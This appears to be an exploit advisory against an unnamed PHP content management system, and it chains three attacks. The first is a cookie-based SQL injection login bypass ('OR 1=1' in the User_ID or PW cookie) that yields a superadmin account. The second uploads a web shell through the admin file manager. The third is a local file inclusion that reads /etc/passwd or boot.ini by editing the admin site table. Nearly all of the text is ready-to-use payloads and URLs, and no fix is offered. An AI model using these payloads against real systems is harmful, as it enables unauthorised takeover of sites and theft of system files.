///////////////////////////////////////////////////////

AUTHENTICATION BYPASS (INSECURE COOKIE HANDLING/SQLi):

//////////////////////////////////////////////////////


POC:

Add cookies:

User_ID= xXx' [SQL] /*
PW=xXx

Or…

User_ID=xXx
PW=xXx' [SQL] /*

Both are injectable.


EXPLOIT:

User_ID= xXx' OR 1=1 /*
PW=xXx

OR…

User_ID=xXx
PW=xXx' OR 1=1 /*

Superadmin account!


When we are superadmin, we can exploit other attacks…(follow reading).


////////////////////////////

SHELL UPLOAD VULNERABILITY:

///////////////////////////

http://[HOST]/[HOME_PATH]/index.php?site=admin&action=files

Here we upload our shell. (Use a reliable path, ex: test)

Then, if you go to the link:

http://[HOST]/[HOME_PATH]/[PATH-SHELL]/shell.php

////////////////////////////

LOCAL FILE INCLUSION (LFI):

///////////////////////////


PoC:

Sites are stored in DB, but the administration panel allows to change sites (del/modify) (below link)

http://[HOST]/[HOME_PATH]/index.php?site=admin&action=sites

There, we change:

./…/…/…/…/boot.ini –> column: Dateiname

Something (signup for ex.) –> column: Alias

Or…

./…/…/…/etc/passwd –> column: Dateiname

Something (signup for ex.) –> column: Alias

Then, we go to:

http://[HOST]/[HOME_PATH]/index.php?site=[Alias]

We can see the boot.ini or passwd files.


EXPLOIT:

changing the "signup" alias for the file that you want.

http://[HOST]/[HOME_PATH]/index.php?site=signup

Exploited!

That's all!
